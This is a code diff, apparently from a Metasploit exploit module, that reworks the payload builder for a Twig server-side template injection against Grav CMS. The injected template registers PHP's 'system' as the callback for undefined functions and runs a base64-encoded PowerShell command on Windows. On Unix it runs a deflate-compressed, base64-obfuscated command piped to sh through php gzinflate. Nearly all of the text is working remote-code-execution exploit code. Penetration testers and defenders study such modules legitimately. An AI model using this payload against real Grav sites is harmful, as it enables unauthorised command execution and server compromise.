@@ -338,20 +338,35 @@ def execute_payload
338338 def twig_payload
339339 cmd = payload . encoded
340340
341+ twig_prefix = "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
342+ "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
343+ "{{ grav.twig.twig.getFunction('"
344+ twig_suffix = "') }}"
345+
341346 case target [ 'Type' ]
342347 when :win_cmd
343- "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
344- "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
345- "{{ grav.twig.twig.getFunction('powershell -enc #{ Rex ::Text . encode_base64 ( cmd . encode ( 'UTF-16LE' ) ) } ') }}"
348+ encoded_cmd = Rex ::Text . encode_base64 ( cmd . encode ( 'UTF-16LE' ) )
349+
350+ "#{ twig_prefix } powershell -enc #{ encoded_cmd } #{ twig_suffix } "
351+
346352 else
347- # Base64 encode payload to avoid Twig escaping special characters
348- encoded_cmd = Rex ::Text . encode_base64 ( cmd )
349- "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
350- "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
351- "{{ grav.twig.twig.getFunction('echo #{ encoded_cmd } |base64 -d|bash') }}"
353+ require 'zlib'
354+ compressed = compress_deflate ( cmd )
355+
356+ # Strip newlines from base64 to avoid breaking Twig syntax
357+ encoded_cmd = Rex ::Text . encode_base64 ( compressed ) . gsub ( /\n / , '' )
358+
359+ "#{ twig_prefix } php -r \" echo gzinflate(base64_decode(\\ '#{ encoded_cmd } \\ '));\" | sh#{ twig_suffix } "
352360 end
353361 end
354362
363+ def compress_deflate ( data )
364+ deflater = Zlib ::Deflate . new ( Zlib ::BEST_COMPRESSION , -Zlib ::MAX_WBITS )
365+ compressed = deflater . deflate ( data , Zlib ::FINISH )
366+ deflater . close
367+ compressed
368+ end
369+
355370 def follow_redirect ( res )
356371 return res unless [ 301 , 302 , 303 ] . include? ( res . code )
357372
0 commit comments